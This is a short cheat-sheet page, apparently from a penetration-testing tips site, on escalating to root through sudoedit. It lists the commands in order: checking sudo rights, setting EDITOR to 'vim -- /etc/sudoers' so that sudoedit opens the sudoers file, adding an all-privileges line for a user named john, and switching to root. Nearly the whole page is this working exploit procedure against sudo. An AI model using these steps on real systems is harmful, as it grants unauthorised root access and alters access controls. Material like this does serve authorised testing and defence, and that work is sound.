Sudoedit Privilege Escalation
Sudoedit is vulnerable to privilege escalation.
sudo -l
(root) sudoedit /opt/example.txt
Copied!If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.
export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
Copied!In vim editor, add the following line in /etc/sudoers.
Assume the current username is “john”
john ALL=(ALL:ALL) ALL
Copied!After that, we can escalate to root privilege.
sudo su root
Copied!References
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